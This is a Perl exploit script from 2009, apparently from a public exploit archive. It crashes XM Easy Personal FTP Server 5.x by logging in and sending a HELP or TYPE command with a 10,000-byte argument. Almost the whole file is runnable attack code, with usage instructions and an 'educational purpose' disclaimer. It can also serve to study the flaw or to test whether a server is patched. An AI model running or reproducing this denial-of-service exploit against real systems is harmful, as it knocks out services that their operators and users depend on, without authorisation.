|
#!usr/bin/perl -w
#######################################################################################
# XM Easy Personal FTP Server 5.x allows remote attackers to cause a denial of service
# via a "HELP" or "TYPE" command with an overly long argument.
# Refer:
# http://secunia.com/advisories/35271/
# Original advisory avaiable at: http://securitygyan.com/2009/06/09/xm-easy-personal-ftp-server-help-and-type-command-rdos-exploit/
# Product link: http://www.dxm2008.com/
#
#$$$This was strictly written for educational purpose. Use it at your own risk.$$$$$
#$$$Author will not bare any responsibility for any damages watsoever.$$$$$$$
#
# Author: Vinod Sharma
# Email: vinodsharma[underscore]mimit[at]gmail.com
# Blog: http://securitygyan.com/
# Date: 09th june, 2009
#
#
###Thanks all the Security Folks###
########################################################################################
use IO::Socket;
my $server_ip=$ARGV[0];
my $server_port=$ARGV[1];
my $username=$ARGV[2];
my $password=$ARGV[3];
my $command=$ARGV[4];
my $buffer=$command ." " ."\x41" x 10000 ."\r\n";
if(($#ARGV + 1)!=5)
{
print "\nUsage: XM_FTP_Serv_Exploit.pl server_ip_address server_port username password command\n";
print "\nargument command can have a value HELP or TYPE\n";
print "\nExample: XM_FTP_Serv_Exploit.pl 192.16.16.8 21 anonymous 123456 HELP";
exit;
}
$socket = new IO::Socket::INET (PeerAddr =>$server_ip, PeerPort => $server_port, Proto => 'tcp', ) or die "Couldn't connect to Server\n";
while (1)
{
$socket->recv($recv_data,1024);
print "RECIEVED: $recv_data";
$send_data1 ="USER ".$username."\r\n";
$socket->send($send_data1);
$socket->recv($recv_data1,1024);
print "RECIEVED: $recv_data1";
$send_data2 ="PASS ".$password."\r\n";
$socket->send($send_data2);
$socket->recv($recv_data2,1024);
print "RECIEVED: $recv_data2";
$socket->send($buffer);
print "\nAttack is send.....................\n";
$socket->recv($recv_data3,1024);
print "RECIEVED: $recv_data3";
close $socket;
}
|